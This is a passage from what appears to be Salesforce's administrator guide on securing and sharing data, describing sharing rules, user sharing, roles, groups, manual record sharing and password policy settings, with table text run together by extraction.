user.Managers Groups A manager and all direct and indirect reports who he or she manages.Manager Subordinates Groups All records owned by the queue, excluding records owned by individual members of the queue. Available only in the owned by members of list. Queues All public groups defined by your administrator. If a partner portal or Customer Portal is enabled for your organization, the All Partner Users or All Customer Portal Users group displays. These groups includes all users allowed to access your partner portal or Customer Portal, except for high-volume portal users. Public Groups All roles defined for your organization. This includes all of the users in the specified role.Roles 54 Sharing Rule CategoriesSecuring and Sharing Data
  • 61. DescriptionCategory All roles defined for your organization’s partner portal or Customer Portal. This includes all users in the specified portal role, except high-volume portal users. A portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user Alias. Portal Roles All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, including partner portal and Customer Portal roles that contain users with a portal license type. Portal roles are only included in this category if a partner portal or Customer Portal is enabled for your organization. Roles and Subordinates The Roles, Internal and Portal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy. All roles defined for your organization’s partner portal or Customer Portal. This includes all of the users in the specified portal role plus all of the users below that role in the portal role hierarchy, except for high-volume portal users. A portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user Alias. Portal Roles and Subordinates All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, excluding partner portal and Customer Portal roles. This category only displays if a partner portal or Salesforce Customer Portal is enabled for your organization. Roles and Internal Subordinates The Roles and Internal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy and enable a portal. All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, including partner portal and Customer Portal roles. This category only displays if a partner portal or Salesforce Customer Portal is enabled for your organization. Roles, Internal and Portal Subordinates The Roles and Internal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy and enable a portal. All territories defined for your organization.Territories All territories defined for your organization. This includes the specified territory plus all territories below it. Territories and Subordinates Editing Lead Sharing Rules User Permissions Needed “Manage Users”To edit sharing rules: 55 Editing Lead Sharing RulesSecuring and Sharing Data
  • 62. For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. From Setup, click Security Controls > Sharing Settings. 2. In the Lead Sharing Rules related list, click Edit next to the rule you want to change. 3. Change the Label and Rule Name if desired. 4. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 6. Click Save. Editing Account Sharing Rules User Permissions Needed “Manage Users”To edit sharing rules: For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. From Setup, click Security Controls > Sharing Settings. 2. In the Account Sharing Rules related list, click Edit next to the rule you want to change. 3. Change the Label and Rule Name if desired. 4. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select a setting for Default Account, Contract and Asset Access. 6. In the remaining fields, select the access settings for the records associated with the shared accounts. DescriptionAccess Setting Users can’t view or update records, unless access is granted outside of this sharing rule. Private (available for associated contacts, opportunities, and cases only) Users can view, but not update, records.Read Only Users can view and update records.Read/Write 56 Editing Account Sharing RulesSecuring and Sharing Data
  • 63. Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent. 7. Click Save. Editing Account Territory Sharing Rules User Permissions Needed “Manage Users”To edit sharing rules: For account territory sharing rules, you can edit the sharing access settings, but no other settings. 1. From Setup, click Security Controls > Sharing Settings. 2. In the Account Territory Sharing Rules related list, click Edit next to the rule you want to change. 3. Change the Label and Rule Name if desired. 4. Select the sharing access setting for users. DescriptionAccess Setting Users can’t view or update records, unless access is granted outside of this sharing rule. Private (available for associated contacts, opportunities, and cases only) Users can view, but not update, records.Read Only Users can view and update records.Read/Write Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent. 5. Click Save. Editing Contact Sharing Rules User Permissions Needed “Manage Users”To edit sharing rules: For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. From Setup, click Security Controls > Sharing Settings. 2. In the Contact Sharing Rules related list, click Edit next to the rule you want to change. 3. Change the Label and Rule Name if desired. 4. If you selected a rule that's based on owner, skip to the next step. 57 Editing Account Territory Sharing RulesSecuring and Sharing Data
  • 64. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 6. Click Save. Editing Opportunity Sharing Rules User Permissions Needed “Manage Users”To edit sharing rules: For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. From Setup, click Security Controls > Sharing Settings. 2. In the Opportunity Sharing Rules related list, click Edit next to the rule you want to change. 3. Change the Label and Rule Name if desired. 4. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the associated account. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 6. Click Save. Editing Case Sharing Rules User Permissions Needed “Manage Users”To edit sharing rules: 58 Editing Opportunity Sharing RulesSecuring and Sharing Data
  • 65. For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. From Setup, click Security Controls > Sharing Settings. 2. In the Case Sharing Rules related list, click Edit next to the rule you want to change. 3. Change the Label and Rule Name if desired. 4. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 6. Click Save. Editing Campaign Sharing Rules User Permissions Needed “Manage Users”To edit sharing rules: For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. From Setup, click Security Controls > Sharing Settings. 2. In the Campaign Sharing Rules related list, click Edit next to the rule you want to change. 3. Change the Label and Rule Name if desired. 4. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write Any user in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record’s owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the organization-wide sharing setting for activities is Controlled by Parent. Full Access 59 Editing Campaign Sharing RulesSecuring and Sharing Data
  • 66. 6. Click Save. Editing Custom Object Sharing Rules User Permissions Needed “Manage Users”To edit sharing rules: For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. From Setup, click Security Controls > Sharing Settings. 2. In the Sharing Rules related list for the custom object, click Edit next to the rule you want to change. 3. Change the Label and Rule Name if desired. 4. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 6. Click Save. Editing User Sharing Rules Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions User Permissions Needed “Manage Users”To edit sharing rules: For user sharing rules based on membership to groups, roles, or territories, you can edit only the access settings. For user sharing rules based on other criteria, you can edit the criteria and access settings. 1. From Setup, click Security Controls > Sharing Settings. 2. In the User Sharing Rules related list, click Edit next to the rule you want to change. 3. Change the Label and Rule Name if desired. 4. If you selected a rule that’s based on group membership, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click AddFilterLogic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. The User Access level applies to users who are members of the groups being shared to. 60 Editing Custom Object Sharing RulesSecuring and Sharing Data
  • 67. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 6. Click Save. Sharing Rule Considerations Sharing rules allow you to selectively grant data access to defined sets of users. Review the following notes before using sharing rules: Granting Access • You can use sharing rules to grant wider access to data. You cannot restrict access below your organization-wide default levels. • If multiple sharing rules give a user different levels of access to a record, the user gets the most permissive access level. • Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give role or group members access to the account associated with the shared opportunity if they do not already have it. Likewise, contact and case sharing rules provide the role or group members with access to the associated account as well. • Users in the role hierarchy are automatically granted the same access that users below them in the hierarchy have from a sharing rule, provided that the object is a standard object or the Grant Access Using Hierarchies option is selected. • Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted access to view and edit the contacts, opportunities, and cases associated with their territories’ accounts. Updating • Creating an owner-based sharing rule with the same source and target groups as an existing rule overwrites the existing rule. • Once a sharing rule has been saved, you can’t change the Share with field settings when you edit the sharing rule. • Sharing rules apply to all new and existing records that meet the definition of the source data set. • Sharing rules apply to both active and inactive users. • When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access levels. • When you delete a sharing rule, the sharing access created by that rule is automatically removed. • When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access as necessary. • When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the transferred records as necessary. • Making changes to sharing rules may require changing a large number of records at once. To process these changes efficiently, your request may be queued and you may receive an email notification when the process has completed. • Lead sharing rules do not automatically grant access to lead information after leads are converted into account, contact, and opportunity records. Portal Users • You can create rules to share records between most types of Customer Portal users and Salesforce users. Similarly, you can create sharing rules between Customer Portal users from different accounts as long as they have the Customer 61 Sharing Rule ConsiderationsSecuring and Sharing Data
  • 68. Portal Manager user license. However, you can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public groups. • You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for portal users. Recalculating Sharing Rules User Permissions Needed “Manage Users”To recalculate sharing rules: When you make changes to groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove access as necessary. Changes could include adding or removing individual users from a group, role, or territory, changing which role a particular role reports to, changing which territory a particular territory is subordinate to, or adding or removing a group from within another group. However, if these changes affect too many records at once, a message appears warning that the sharing rules won’t be automatically reevaluated, and you must manually recalculate them. Note: You don’t have to recalculate each time you edit or create a new sharing rule. The Recalculate buttons on the Sharing Rules related lists should only be used if sharing rule updates have failed or are not working as expected. Administrators will receive a notification email if sharing rule updates have failed. To manually recalculate an object’s sharing rules: 1. From Setup, click Security Controls > Sharing Settings. 2. In the Sharing Rules related list for the object you want, click Recalculate. 3. If you want to monitor the progress of a recalculation, from Setup, click Monitoring > Background Jobs or Jobs > Background Jobs. Note: The Recalculate button is disabled when group membership or sharing rule calculations are deferred. When sharing is recalculated, Salesforce also runs all Apex sharing recalculations. Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by suspending and resuming at your discretion. Parallel Recalculation Note: Starting with Winter ‘14, parallel sharing rule recalculation is enabled for new organizations. Existing organizations can contact salesforce.com to enable parallel sharing rule recalculation. Parallel sharing rule recalculation is run when you click the Recalculate button for the sharing rules on the Sharing Settings page. Similarly, recalculating your sharing rules on the Defer sharing page triggers parallel recalculation. The recalculation is run in parallel and asynchronously in the background, speeding up the process and providing better resilience to site operations such as patches and server restarts. You’ll receive an email notification upon completion. 62 Recalculating Sharing RulesSecuring and Sharing Data
  • 69. You can monitor the progress of your parallel recalculation in the Background Jobs page. Recalculation of sharing rules also maintains implicit sharing between accounts and child records. In the Background Jobs page, these processes corresponds to these job sub types:, Account — Extra Parent Access Removal and Account — Parent Access Grant. Additionally, deleting a sharing rule corresponds to the job sub type Object — Access Cleanup, denoting that irrelevant share rows are removed. Note: For an in-depth look at record access, see Designing Record Access for Enterprise Scale. User Sharing Overview Control who sees who in the organization with standard sharing functionality. Watch a demo: Who Sees Whom: User Sharing Watch how you can set up User Sharing in your organization. User Sharing enables you to show or hide an internal or external user from another user in your organization. For example, you might be a manufacturer who needs to include all dealers in your organization while still keeping them from seeing or interacting with each other. You can set the organization-wide defaults for the user object to Private. Then, open up access among groups of dealers who need to see and interact with each other in the organization with sharing rules or manual sharing. With User Sharing, you can: • Assign the “View All Users” permission to users who need to see or interact with all users. This permission is automatically enabled for users who have the “Manage Users” permission. • Set the organization-wide default for user records to Private or Public Read Only. • Create user sharing rules based on group membership or other criteria. • Create manual shares for user records to open up access to individual users or groups. • Control the visibility of external users in customer or partner portals and communities. See the Understanding User Sharing tip sheet for more information. Understanding User Sharing Implement User Sharing via a combination of organization-wide defaults, user sharing rules, manual sharing, and permissions. With user sharing, you can set an organization-wide default for internal and external user records. You can then extend access using sharing rules based on membership to public groups, roles, or territories, or use manual sharing to share individual user records with other users or groups. When you enable user sharing, users can see other users in search, list views, and so on only if they have Read access on those users. Review these user sharing considerations before implementing them for your organization. “View All Users” permission This permission can be assigned to users who need Read access to all users, regardless of the sharing settings. If you already have the “Manage Users” permission, you are automatically granted the “View All Users” permission. 63 User Sharing OverviewSecuring and Sharing Data
  • 70. Organization-wide defaults for user records This setting defaults to Private for external users and Public Read Only for internal users. When the default access is set to Private, users can only read and edit their own user record. Users with subordinates in the role hierarchy maintain read access to the user records of those subordinates. User sharing rules General sharing rule considerations apply to user sharing rules. User sharing rules are based on membership to a public group, role, or territory. Each sharing rule shares members of a source group with those of the target group. You must create the appropriate public groups, roles, or territories before creating your sharing rules. Users inherit the same access as users below them in the role hierarchy. Manual sharing for user records Manual sharing can grant read or edit access on an individual user, but only if the access is greater than the default access for the target user. Users inherit the same access as users below them in the role hierarchy. Apex managed sharing is not supported. User sharing for external users Users with the “Manage External Users” permission have access to external user records for Partner Relationship Management, Customer Service, and Customer Self-Service portal users, regardless of sharing rules or organization-wide default settings for User records. The “Manage External Users” permission does not grant access to guest or Chatter External users. User Sharing Compatibility When the organization-wide default for the user object is set to Private, User Sharing does not fully support these features. • Chatter Messenger is not available for external users. It is available for internal users only when the organization-wide default for the user object is set to Public Read Only. • Customizable Forecasts—Users with the "View All Forecast" permission can see users to whom they don't have access. • Salesforce CRM Content—A user who can create libraries can see users they don't have access to when adding library members. • Standard Report Types—Some reports based on standard report types expose data of users to whom a user doesn’t have access. For more information, see Controlling Standard Report Visibility. Setting the Organization-Wide Sharing Defaults for User Records Set the organization-wide sharing defaults for the user object before opening up access. Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions User Permissions Needed “Manage Users”To set default sharing access: For user records, you can set the organization-wide sharing default to Private or Public Read Only. The default must be set to Private if there is at least one user who shouldn’t see a record. Let’s say that your organization has internal users (employees and sales agents) and external users (customers/portal users) under different sales agents or portal accounts, with these requirements: • Employees can see everyone. 64 Setting the Organization-Wide Sharing Defaults for User Records Securing and Sharing Data
  • 71. • Sales agents can see employees, other agents, and their own customer user records only. • Customers can see other customers only if they are under the same agent or portal account. To meet these requirements, set the default external access to Private, and extend access using sharing rules, manual sharing, or user permissions. When the feature is first turned on, the default access setting is Private for external users. The default for internal users is Public Read Only. To change the organization-wide defaults for external access to the user object: 1. From Setup, click Security Controls > Sharing Settings. 2. Click Edit in the Organization-Wide Defaults area. 3. Select the default internal and external access you want to use for user records. The default external access must be more restrictive or equal to the default internal access. 4. Click Save. Users have Read access to those below them in the role hierarchy and full access on their own user record. Sharing Users Sharing your user record enables other users to see you in the organization. User Permissions Needed “Read” on user recordsTo view user records: You can share external user records, such as external community users and customer portal or partner portal users. You can also share an internal user record with an external user. Your administrator defines your organization’s sharing model and default access levels for user records. You may want to extend sharing privileges for your own user record if the organization-wide default access is set to Private or Public Read Only. Note that you cannot restrict access below your organization’s default access levels. To view and manage sharing details, click Sharing on the user detail page. The Sharing Detail page lists the users, groups, roles, and territories that have sharing access to the user record. On this page, you can perform these tasks: • To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom views. To edit or delete any view you created, select it from the View drop-down list and click Edit. • Grant access to the record for other users, groups, roles, or territories by clicking Add. • Edit or delete the manual share by clicking Edit or Del next to the rule. Restoring User Visibility Defaults Available in: Enterprise, Performance, Unlimited, and Developer Editions User Permissions Needed “Manage Users”To restore user visibility defaults: User Sharing enables you to control who sees who in the organization. You can restore your defaults if you have previously used User Sharing. To restore user visibility defaults: 65 Sharing UsersSecuring and Sharing Data
  • 72. 1. From Setup, click Security Controls > Sharing Settings. 2. Set the organization-wide defaults to Public Read Only for internal access and Private for external access. 3. Enable portal account user access. On the Sharings Settings page, select the Portal User Visibility checkbox. This option enables customer portal users to see other users under the same portal account. Additionally, partner portal users can see the portal account owner. 4. Enable network member access. On the Sharing Settings page, select the Community User Visibility checkbox. This option enables community members to be seen by all other users in their communities. 5. Remove user sharing rules. On the Sharing Settings page, click Del next to all available user sharing rules. 6. Remove HVPU access to user records. On the Customer Portal Setup page, click Del next to all available sharing sets for HVPUs. After user visibility is restored to the defaults, all internal users are visible to each other, portal users under the same portal account are visible to each other, and community members in the same community are visible to each other. Overview of Roles User Permissions Needed “Manage Users”To create, edit, and delete roles: “Manage Users”To assign users to roles: Note: Who Sees What: Record Access via the Role Hierarchy Watch how you can open up access to records using the role hierarchy if your organization-wide defaults are more restrictive than Public Read/Write. Depending on your sharing settings, roles can control the level of visibility that users have into your organization’s data. Users at any given role level can view, edit, and report on all data owned by or shared with users below them in the hierarchy, unless your organization’s sharing model for an object specifies otherwise. Specifically, in the Organization-Wide Defaults related list, if the Grant Access Using Hierarchies option is disabled for a custom object, only the record owner and users granted access by the organization-wide defaults receive access to the object's records. Working with Roles To view and manage your organization's roles, from Setup, click Manage Users > Roles. • Choose one of the following list view options: Show in tree view See a visual representation of the parent-child relationships between your roles. Click Expand All to see all roles, or Collapse All to see only top-level roles. To expand or collapse an individual node, click the plus (+) or minus (-) icon. Show in sorted list view See a list that you can sort alphabetically by role name, parent role (Reports to), or report display name. If your organization has a large number of roles, use this view for easy navigation and filtering. 66 Overview of RolesSecuring and Sharing Data
  • 73. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom views. To edit or delete any view you created, select it from the View drop-down list and click Edit. Show in list view See a list of roles and their children, grouped alphabetically by the name of the top-level role. The columns are not sortable. This view is not available for hierarchies with more than 1,000 roles. • To create a role, click New Role or Add Role, depending whether you are viewing the list view or tree view of roles, then edit the role fields as needed. You can create up to 500 roles for your organization. • To edit a role, click Edit next to a role name, then update the role fields as needed. • To delete a role, click Delete next to the role name. • To assign other users to a role, click Assign next to the role name. • To view detailed information about a role, click a role name. If you are a Salesforce Knowledge user, you can modify category visibility settings on the role detail page. Tip: To simplify user management in organizations with large numbers of users, enable delegated administrators to manage users in specified roles and all subordinate roles. Notes on Roles • Every user must be assigned to a role, or their data will not display in opportunity reports, forecast roll-ups, and other displays based on roles. If your organization uses territory management, forecasts are based on the territory hierarchy rather than the role hierarchy. • All users that require visibility to the entire organization should belong to the highest level in the hierarchy. • It is not necessary to create individual roles for each title at your company, rather you want to define a hierarchy of roles to control access of information entered by users in lower level roles. • When you change a user’s role, any relevant sharing rules are evaluated to add or remove access as necessary. • When an account owner is not assigned a role, the sharing access for related contacts is Read/Write, provided the organization-wide default for contacts is not Controlled by Parent. Sharing access on related opportunities and cases is No Access. • To avoid performance issues, a single user shouldn’t own more than 10,000 records of an object. In this case, we recommend that the user is not assigned to a role. If you must do so, place the user in a separate role at the top of the hierarchy and avoid moving the user out of that top-level role. Furthermore, keep the user out of public groups that could be used as the source for sharing rules. Note: For best practices on designing record access in a large organization, see Designing Record Access for Enterprise Scale. About Groups Groups are sets of users. They can contain individual users, other groups, the users in a particular role or territory, or the users in a particular role or territory plus all of the users below that role or territory in the hierarchy. There are two types of groups: • Public groups—Only administrators can create public groups. They can be used by everyone in the organization. • Personal groups—Each user can create groups for their personal use. You can use groups in the following ways: • To set up default sharing access via a sharing rule 67 About GroupsSecuring and Sharing Data
  • 74. • To share your records with other users • To specify that you want to synchronize contacts owned by others users • To add multiple users to a Salesforce CRM Content library • To assign users to specific actions in Salesforce Knowledge Public Group Considerations For organizations with a large number of users, consider these tips when creating public groups to optimize performance. • Create groups with at least a few users who need the same access. • Create groups with members who don’t frequently need to be moved in or out of the groups. • Avoid creating groups within groups that result in more than five levels of nesting. • Enable automatic access to records using your role hierarchies in public groups by selecting GrantAccessUsingHierarchies when creating a group. However, deselect this option if you’re creating a public group with All Internal Users as members. Creating and Editing Groups User Permissions Needed “Manage Users”To create or edit a public group: “Manage Users”To create or edit another user’s personal group: Only administrators can create and edit public groups, but anyone can create and edit their own personal groups. To create or edit a group: 1. Click the control that matches the type of group: • For personal groups, go to your personal settings and click My Personal Information or Personal—whichever one appears. Then click My Groups. The Personal Groups related list is also available on the user detail page. • For public groups, from Setup, click Manage Users > Public Groups. 2. Click New, or click Edit next to the group you want to edit. 3. Enter the following: DescriptionField The name used to refer to the group in any user interface pages.Label The unique name used by the API and managed packages. The name must begin with a letter and use only alphanumeric characters and Group Name (public groups only) underscores. The name cannot end with an underscore or have two consecutive underscores. Select Grant Access Using Hierarchies to allow automatic access to records using your role hierarchies. When selected, any records shared with users in this group are also shared with users higher in the hierarchy. Deselect Grant Access Using Hierarchies if you’re creating a public group with All Internal Users as members, which optimizes performance for sharing records with groups. Grant Access Using Hierarchies (public groups only) 68 Creating and Editing GroupsSecuring and Sharing Data
  • 75. Note: If Grant Access Using Hierarchies is deselected, users that are higher in the role hierarchy don’t receive automatic access. However, some users—such as those with the “View All” and “Modify All” object permissions and the “View All Data” and “Modify All Data” system permissions—can still access records they don’t own. From the Search drop-down list, select the type of member to add. If you don’t see the member you want to add, enter keywords in the search box and click Find. Search Note: For account owners to see child records owned by high-volume portal users, they must be members of any portal share groups with access to the portal users' data. Select members from the Available Members box, and click Add to add them to the group. Selected Members 4. Click Save. Note: When you edit groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove access as needed. If these changes affect too many records at once, a message appears warning that the sharing rules won't be automatically reevaluated, and you must manually recalculate them. Group Member Types User Permissions Needed “Manage Users”To create or edit a public group: “Manage Users”To create or edit another user’s personal group: When you create or edit a group, you can select the following types of members from the Search drop-down list. Depending on your organization settings, some types may not be available. DescriptionMember Type All of your Customer Portal users. This is only available when a Customer Portal is enabled for your organization. Customer Portal Users All of your partner users. This is only available when a partner portal is enabled for your organization. Partner Users All of your own groups. This is only available when creating other personal groups. Personal Groups 69 Group Member TypesSecuring and Sharing Data
  • 76. DescriptionMember Type All roles defined for your organization’s partner portal or Customer Portal. This includes all users in the specified portal role, except high-volume portal users. Portal Roles Note: A portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user Alias. All roles defined for your organization’s partner portal or Customer Portal. This includes all of the users in the specified Portal Roles and Subordinates portal role plus all of the users below that role in the portal role hierarchy, except for high-volume portal users. Note: A portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user Alias. All public groups defined by your administrator.Public Groups All roles defined for your organization. Adding a role to a group includes all of the users in that role, but does not include portal roles. Roles Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This doesn't include portal roles or users. Roles and Internal Subordinates Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This Roles and Subordinates is only available when no portals are enabled for your organization. Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This Roles, Internal and Portal Subordinates is only available when a partner or Customer Portal is enabled for your organization. This includes portal users. All users in your organization. This doesn't include portal users. Users Viewing All Users in a Group The All Users list shows users who belong to the selected personal or public group, queue, or role or territory sharing group.The All Users list shows users who belong to the selected public group, queue, or role sharing group. From this page, you can view detailed user information, edit user information, and access related information. • To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom views. To edit or delete any view you created, select it from the View drop-down list and click Edit. • Click Edit next to a username to edit the user information. 70 Viewing All Users in a GroupSecuring and Sharing Data
  • 77. • Click Login next to a username to log in as that user. This link is only available for users who have granted login access to an administrator, or in organizations where administrators can log in as any user. Granting Access to Records Users can manually grant other users access to certain kinds of records, including accounts, contacts, and leads. In some cases, granting access to one record includes access to all its associated records. This method of granting access is also known as a manual share. For example, if you grant another user access to an account, the user will automatically have access to all the opportunities and cases associated with that account. To grant access to a record, you must be one of these. • The record owner • A user in a role above the owner in the hierarchy (if your organization’s sharing settings control access through hierarchies) • Any user granted “Full Access” to the record • An administrator To grant access to a record using a manual share: 1. Click Sharing on the record you want to share. 2. Click Add. 3. From the Search drop-down list, select the type of group, user, role, or territory to add. Depending on the data in your organization, your options can include: DescriptionType All direct and indirect managers of a user.Managers Groups A manager and all direct and indirect reports who he or she manages. Manager Subordinates Groups All public groups defined by your administrator.Public Groups All personal groups defined by the record owner. Only the record owner can share with his or her personal groups. Personal Groups All users in your organization. Does not include portal users.Users All roles defined for your organization. This includes all of the users in each role. Roles All of the users in the role plus all of the users in roles below that role in the hierarchy. Only available when no portals are enabled for your organization. Roles and Subordinates All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles Roles and Internal Subordinates below that role, excluding partner portal and Customer Portal roles. Adds a role and its subordinate roles. Includes all of the users in that role plus all of the users in roles below that role. Only Roles and Internal and Portal Subordinates available when a partner or Customer Portal is enabled for your organization. Includes portal roles and users. 71 Granting Access to RecordsSecuring and Sharing Data
  • 78. DescriptionType For organizations that use territory management, all territories defined for your organization, including all users in each territory. Territories For organizations that use territory management, all users in the territory plus the users below that territory. Territories and Subordinates 4. Choose the specific groups, users, roles, or territories who should have access by adding their names to the Share With list. Use the Add and Remove arrows to move the items from the Available list to the Share With list. 5. Choose the access level for the record you are sharing and any associated records that you own. Note: • If you’re sharing an opportunity or case, those you share it with must also have at least “Read” access to the associated account (unless you are sharing a case via a case team). If you also have privileges to share the account itself, those you share it with are automatically given “Read” access to the account. If you do not have privileges to share the account, you must ask the account owner to give others “Read” access to it. • Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent. • For sharing rules that specify access for associated object records, the given access level applies to that sharing rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts, a user may still have access to associated contacts via other means, such as organization-wide defaults, the “Modify All Data” or “View All Data” permission, or the “Modify All” or “View All” permission for contacts. 6. When sharing a forecast, select Submit Allowed to enable the user, group, or role to submit the forecast. 7. Select the reason you’re sharing the record so users and administrators can understand. 8. Click Save. 72 Granting Access to RecordsSecuring and Sharing Data
  • 79. Chapter 3 Configuring Salesforce Security Features Review the following sections for detailed instructions and tips on setting up and configuring Salesforce security features. Setting Password Policies User Permissions Needed “Manage Users”To set password policies: For your organization’s security, you can set various password and login policies. Note: User passwords cannot exceed 16,000 bytes. Logins are limited to 3,600 per hour per user. This limit applies to organizations created after Summer ’08. 1. From Setup, click Security Controls > Password Policies. 2. Customize the password settings. DescriptionField The length of time until all user passwords expire and must be changed. Users with the “Password Never Expires” User passwords expire in permission are not affected by this setting. The default is 90 days. This setting is not available for Self-Service portals. Save users’ previous passwords so that they must always reset their password to a new, unique password. Password history Enforce password history is not saved until you set this value. The default is 3 passwords remembered. You cannot select No passwords remembered unless you select Never expires for the User passwords expire in field. This setting is not available for Self-Service portals. The minimum number of characters required for a password. When you set this value, existing users aren’t affected until Minimum password length the next time they change their passwords. The default is 8 characters. 73
  • 80. DescriptionField The requirement for which types of characters must be used in a user’s password. Complexity levels: Password complexity requirement • No restriction—allows any password value and is the least secure option. • Must mix alpha and numeric—requires at least one alphabetic character and one number. This is the default. • Must mix alpha, numeric, and special characters—requires at least one alphabetic character, one number, and one of the following characters: ! # $ % - _ = + < >. The values are Cannot contain password, meaning that the answer to the password hint question cannot contain Password question requirement the password itself; or None, the default, for no restrictions on the answer. The user’s answer to the password hint question is required. This setting is not available for Self-Service portals, Customer Portals, or partner portals. The number of login failures allowed for a user before they become locked out. This setting is not available for Self-Service portals. Maximum invalid login attempts The duration of the login lockout. The default is 15 minutes. This setting is not available for Self-Service portals. Lockout effective period Note: If users are locked out, they must wait until the lockout period expires. Alternatively, a user with the “Reset Passwords and Unlock Users” permission can unlock them from Setup by clicking Manage Users > Users, selecting the user, then clicking Unlock. This button is only available when a user is locked out. This feature hides answers to security questions as you type. The default is to show the answer in plain text when you Obscure Secret Answer for Password Resets answer a security question, for example when resetting your password. Note: If your organization uses the Microsoft Input Method Editor (IME) with the input mode set to Hiragana, when you type ASCII characters they’re converted into Japanese characters in normal text fields. However, the IME does not work properly in fields with obscured text. If your organization’s users cannot properly enter their passwords or other values after enabling this feature, disable the feature. 74 Setting Password PoliciesConfiguring Salesforce Security Features
